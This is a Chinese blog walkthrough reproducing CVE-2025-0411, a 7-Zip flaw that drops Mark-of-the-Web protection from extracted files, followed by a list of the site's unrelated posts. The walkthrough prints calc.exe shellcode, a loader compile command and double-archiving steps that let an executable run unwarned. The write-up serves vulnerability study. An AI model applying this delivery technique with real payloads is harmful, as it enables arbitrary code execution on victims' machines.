当前位置：首页 > news >正文

CVE-2025-0411 7-zip 漏洞复现

news 2025/12/30 19:56:08

文章目录

免责申明
漏洞描述
影响版本
漏洞poc
漏洞复现
修复建议

免责申明

本文章仅供学习与交流，请勿用于非法用途，均由使用者本人负责，文章作者不为此承担任何责任

漏洞描述

此漏洞（CVSS SCORE 7.0）允许远程攻击者绕过受影响的 7-Zip 安装上的 Mark-of-the-Web 保护机制。要利用此漏洞，需要用户交互，因为目标必须访问恶意页面或打开恶意文件。该特定缺陷存在于对存档文件的处理中。从带有 Mark-of-the-Web 的精心制作的档案中提取文件时，7-Zip 不会将 Mark-of-the-Web 传播到提取的文件。攻击者可以利用此漏洞在当前用户的上下文中执行任意代码

影响版本

24.09 之前的所有版本

漏洞poc

https://github.com/dhmosfunk/7-Zip-CVE-2025-0411-POC.git

漏洞复现

calc.exe 的shellcode

"\x48\x81\xEC\x00\x01\x00\x00\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x48\x8B\x40\x18\x48\x8B\x40\x30\x48\x8B\x70\x10\x48\x8B\x58\x40\x48\x8B\x00\x81\x7B\x0C\x33\x00\x32\x00\x75\xEC\x48\x8B\xCE\x48\xC7\xC2\x32\x74\x91\x0C\xE8\xC0\x00\x00\x00\x4C\x8B\xF0\x48\xC7\xC3\x6C\x6C\x00\x00\x53\x48\xBB\x75\x73\x65\x72\x33\x32\x2E\x64\x53\x48\x8B\xCC\x48\x83\xEC\x18\x41\xFF\xD6\x48\x8B\xD8\x48\x8B\xCB\x48\xC7\xC2\x6A\x0A\x38\x1E\xE8\x8E\x00\x00\x00\x4C\x8B\xF0\x4D\x33\xC9\x4D\x33\xC0\x48\x33\xD2\x48\x33\xC9\x41\xFF\xD6\x48\x8B\xCE\x48\xC7\xC2\x51\x2F\xA2\x01\xE8\x6D\x00\x00\x00\x4C\x8B\xF0\x48\x33\xC0\x50\x48\xB8\x63\x61\x6C\x63\x2E\x65\x78\x65\x50\x48\x8B\xCC\x48\x83\xEC\x20\x48\xC7\xC2\x01\x00\x00\x00\x41\xFF\xD6\x48\x8B\xCE\x48\xBA\x85\xDF\xAF\xBB\x00\x00\x00\x00\xE8\x38\x00\x00\x00\x4C\x8B\xF0\x48\xC7\xC0\x61\x64\x00\x00\x50\x48\xB8\x45\x78\x69\x74\x54\x68\x72\x65\x50\x48\x8B\xCE\x48\x8B\xD4\x48\x83\xEC\x20\x41\xFF\xD6\x4C\x8B\xF0\x48\x81\xC4\x88\x01\x00\x00\x48\x83\xEC\x18\x48\x33\xC9\x41\xFF\xD6\xC3\x48\x83\xEC\x40\x56\x48\x8B\xFA\x48\x8B\xD9\x48\x8B\x73\x3C\x48\x8B\xC6\x48\xC1\xE0\x36\x48\xC1\xE8\x36\x48\x8B\xB4\x03\x88\x00\x00\x00\x48\xC1\xE6\x20\x48\xC1\xEE\x20\x48\x03\xF3\x56\x8B\x76\x20\x48\x03\xF3\x48\x33\xC9\xFF\xC9\xFF\xC1\xAD\x48\x03\xC3\x33\xD2\x80\x38\x00\x74\x0F\xC1\xCA\x07\x51\x0F\xBE\x08\x03\xD1\x59\x48\xFF\xC0\xEB\xEC\x3B\xD7\x75\xE0\x5E\x8B\x56\x24\x48\x03\xD3\x0F\xBF\x0C\x4A\x8B\x56\x1C\x48\x03\xD3\x8B\x04\x8A\x48\x03\xC3\x5E\x48\x83\xC4\x40\xC3"

将shellcode填入在注入进程的位置
在这里插入图片描述
使用gcc进行编译

gcc .\loader.cpp -o loader.exe -s

将编译好的exe文件进行两次7z压缩
在这里插入图片描述
第二次压缩

这样就完成了

运行时不需要解压直接在压缩包中打开文件
在这里插入图片描述
再次打开第二层压缩包

在这里插入图片描述
运行exe

在这里插入图片描述
弹出计算器

修复建议

更新到最新版本

CVE-2025-0411 7-zip 漏洞复现

文章目录免责申明漏洞描述影响版本漏洞poc漏洞复现修复建议免责申明本文章仅供学习与交流，请勿用于非法用途，均由使用者本人负责，文章作者不为此承担任何责任漏洞描述此漏洞 （CVSS SCORE 7.0） 允许远程攻击者绕…...

编程日记 2025/1/26 4:48:50

leetcode151-反转字符串中的单词

leetcode 151 思路时间复杂度：O(n) 空间复杂度：O(n) 首先将字符串转为数组，这样可以方便进行操作，然后定义一个新的数组来存放从后到前的单词，由于arr中转换以后可能会出现有些项是空格的情况，所以需要判…...

编程日记 2025/1/26 4:44:43

若依 v-hasPermi 自定义指令失效场景

今天使用若依跟往常一样使用v-hasPermi 自定义指令的时候发现这个指令失效了，原因是和v-if指令一块使用，具体代码如下： <el-buttonsize"mini"type"text"icon"el-icon-edit-outline"v-hasPermi"[evalu…...

编程日记 2025/1/26 4:38:34

vue3中自定一个组件并且能够用v-model对自定义组件进行数据的双向绑定

1. 基础用法在 Vue3 中，v-model 在组件上的使用有了更灵活的方式。默认情况下，v-model 使用 modelValue 作为 prop，update:modelValue 作为事件。 1.1 基本示例  <template><input:value"mo…...

编程日记 2025/1/26 4:37:32

使用 Python 和 Tesseract 实现验证码识别

验证码识别是一个常见且实用的技术需求，尤其是在自动化测试和数据采集场景中。通过开源 OCR（Optical Character Recognition，光学字符识别）工具 Tesseract，结合 Python 的强大生态，我们可以高效实现验证码识…...

编程日记 2025/1/26 4:29:21

谈一谈前端构建工具的本地代理配置（Webpack与Vite）

在Web前端开发中，我们在本地写代码经常遇到的一件事情就是代理配置。代理配置说简单也简单，配置一次基本就一劳永逸，但有时候配置不对，无论如何也连不上后端，就成了非常头疼的一件事。在这本文中，我们讨论一…...

编程日记 2025/1/26 4:27:19

CentOS7非root用户离线安装Docker及常见问题总结、各种操作系统docker桌面程序下载地址

环境说明 1、安装用户有sudo权限 2、本文讲docker组件安装，不是桌面程序安装 3、本文讲离线安装，不是在线安装 4、目标机器是内网机器，与外部网络不连通下载 1、下载离线安装包，并上传到$HOME/basic-tool 目录下载地址&am…...

编程日记 2025/1/26 4:26:18

Alibaba Spring Cloud 十三 Nacos，Gateway，Nginx 部署架构与负载均衡方案

在微服务体系中，Nacos 主要承担“服务注册与发现、配置中心”的职能，Gateway（如 Spring Cloud Gateway）通常负责“路由转发、过滤、安全鉴权、灰度流量控制”等功能，而 Nginx 则常被用作“边缘反向代理”或“统一流量入…...

编程日记 2025/1/26 4:24:16

+-*/运算符优先级计算模板

acwing3302 知识点一：有关unordered_map的优先级头文件<unordered_map>,然后进行符号优先级定义定义方式unordered_map<char,int>pr{ {,1},{-,1},{*,2},{/,2}};其余没定义的默认为0 知识点二：头文件<cctype>中的isdigit()是判断…...

编程日记 2025/1/26 4:22:14

GPT 结束语设计以nanogpt为例

GPT 结束语设计以nanogpt为例目录 GPT 结束语设计以nanogpt为例 1、简述 2、分词设计 3、结束语断点 1、简述在手搓gpt的时候，可能会遇到一些性能问题，即关于是否需要全部输出或者怎么节约资源。在输出语句被max_new_tokens 限制&#xff0c…...

编程日记 2025/1/26 4:20:12

FastDFS的安装及使用

分布式存储发展历程前段时间 618 活动火热进行，正是购物的好时机。当我们访问这些电商网站的时候，每一个商品都会有各式各样的图片展示介绍，这些图片一张两张可以随便丢在服务器的某个文件夹中，可是电商网站如此大体量的…...

编程日记 2025/1/26 4:18:10

C++ lambda表达式

目录 1.lambda表达式 1.1什么是Lambda表达式？ 1.2Lambda表达式的语法 1.3捕捉列表 1.4函数对象与lambda表达式 1.lambda表达式 1.1什么是Lambda表达式？ Lambda表达式是C11标准引入的一种匿名函数，它允许你在需要函数的地方直接编写代码…...

编程日记 2025/1/26 4:16:07

react页面定时器调用一组多个接口，如果接口请求返回令牌失效，清除定时器不再触发这一组请求

为了实现一个React页面使用定时器调用一组多个接口，并在任意一个接口请求返回令牌失效时清除定时器且不再触发这一组请求，可以遵循以下步骤： 1. 定义API调用函数：创建一个函数来处理一组API调用。每个API调用都应该检查响应状态以…...

编程日记 2025/1/26 4:15:05

Python的泛型(Generic)与协变(Covariant)

今天咱们聊聊Python类型标注中的泛型（Generic），与协变（Covariant）。不了解类型标注的小伙伴，可以先看一看我的上一篇文章 “Python类型检查” Python 类型检查-CSDN博客例子这次我开个宠物商店。看下面代码。 class Animal:passclass Dog(Animal):passclass Cat(A…...

编程日记 2025/1/26 4:12:00

Python Typing: 实战应用指南

文章目录 1. 什么是 Python Typing？2. 实战案例：构建一个用户管理系统2.1 项目描述2.2 代码实现 3. 类型检查工具：MyPy4. 常见的 typing 用法5. 总结在 Python 中，静态类型检查越来越受到开发者的重视。typing 模块提供了一种方式…...

编程日记 2025/1/26 4:08:55

OpenEuler学习笔记（六）：OpenEuler与其他Linux服务器的区别是什么？

OpenEuler是一款基于Linux内核的开源服务器操作系统，与其他Linux服务器操作系统（如CentOS、Ubuntu Server等）存在多方面的区别，主要体现在以下几个方面： 一、社区与支持 OpenEuler：由华为发起并开源&…...

编程日记 2025/1/26 4:04:52

如何使用CRM数据分析和洞察来支持业务决策和市场营销？

如何使用CRM数据分析和洞察来支持业务决策和市场营销？ 大家好！今天咱们聊聊一个特别重要的话题——如何利用客户关系管理（CRM）系统中的数据进行分析与洞察能够帮助我们做出更好的业务决策以及提升市场营销效果。其实啊&#xff0…...

编程日记 2025/1/26 4:02:45

MyBatis和JPA区别详解

文章目录 MyBatis和JPA区别详解一、引言二、设计理念与使用方式1、MyBatis：半自动化的ORM框架1.1、代码示例 2、JPA：全自动的ORM框架2.1、代码示例三、性能优化与适用场景1、MyBatis：灵活的SQL控制1.1、适用场景 2、JPA：开发效率…...

编程日记 2025/1/26 3:58:39

SVN客户端使用手册

目录一、简介二、SVN的安装与卸载 1. 安装（公司内部一般会提供安装包和汉化包，直接到公司内部网盘下载即可，如果找不到可以看下面的教程） 2. 查看SVN版本编辑 3. SVN卸载三、SVN的基本操作 1. 检出 2. 清除认证数据 3. 提交…...

编程日记 2025/1/26 3:56:37

VsCode安装文档

一、下载进入VS Code官网：Visual Studio Code - Code Editing. Redefined，点击 DownLoad for Windows下载windows版本当然也可以点击旁边的箭头，下载Windows版本或 Mac OS 版本备注： Stable：稳定版Insiders&#…...

编程日记 2025/1/26 3:54:34

使用VSCode开发Django指南

使用VSCode开发Django指南一、概述 Django 是一个高级 Python 框架，专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。本文将创建一个简单的 Django 应用，其中包含三个使用通用基本模板的页面。在此…...

编程新知 2025/12/25 2:11:21

Flask RESTful 示例

目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务中文乱码问题： 下面创建一个简单的Flask RESTful API示例。首先，我们需要创建环境，安装必要的依赖，然后…...

编程新知 2025/12/25 20:13:52

【网络安全产品大调研系列】2. 体验漏洞扫描

前言 2023 年漏洞扫描服务市场规模预计为 3.06（十亿美元）。漏洞扫描服务市场行业预计将从 2024 年的 3.48（十亿美元）增长到 2032 年的 9.54（十亿美元）。预测期内漏洞扫描服务市场 CAGR（增长率&…...

编程新知 2025/12/25 7:33:23

STM32F4基本定时器使用和原理详解

STM32F4基本定时器使用和原理详解前言如何确定定时器挂载在哪条时钟线上配置及使用方法参数配置PrescalerCounter ModeCounter Periodauto-reload preloadTrigger Event Selection 中断配置生成的代码及使用方法初始化代码基本定时器触发DCA或者ADC的代码讲解中断代码定时启动…...

编程新知 2025/12/21 1:00:15

镜像里切换为普通用户

如果你登录远程虚拟机默认就是 root 用户，但你不希望用 root 权限运行 ns-3（这是对的，ns3 工具会拒绝 root），你可以按以下方法创建一个非 root 用户账号并切换到它运行 ns-3。一次性解决方案：创建非 roo…...

编程新知 2025/9/11 11:00:29

[Java恶补day16] 238.除自身以外数组的乘积

给你一个整数数组 nums，返回数组 answer ，其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积。题目数据保证数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位整数范围内。请不要使用除法，且在 O(n) 时间复杂度…...

编程新知 2025/10/3 13:53:38

html-＜abbr＞缩写或首字母缩略词

定义与作用 <abbr> 标签用于表示缩写或首字母缩略词，它可以帮助用户更好地理解缩写的含义，尤其是对于那些不熟悉该缩写的用户。 title 属性的内容提供了缩写的详细说明。当用户将鼠标悬停在缩写上时，会显示一个提示框。示例&#x…...

编程新知 2025/12/9 20:17:56

C++.OpenGL （14/64）多光源（Multiple Lights）

多光源（Multiple Lights）多光源渲染技术概览 #mermaid-svg-3L5e5gGn76TNh7Lq {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-3L5e5gGn76TNh7Lq .error-icon{fill:#552222;}#mermaid-svg-3L5e5gGn76TNh7Lq .erro…...

编程新知 2025/6/11 3:15:20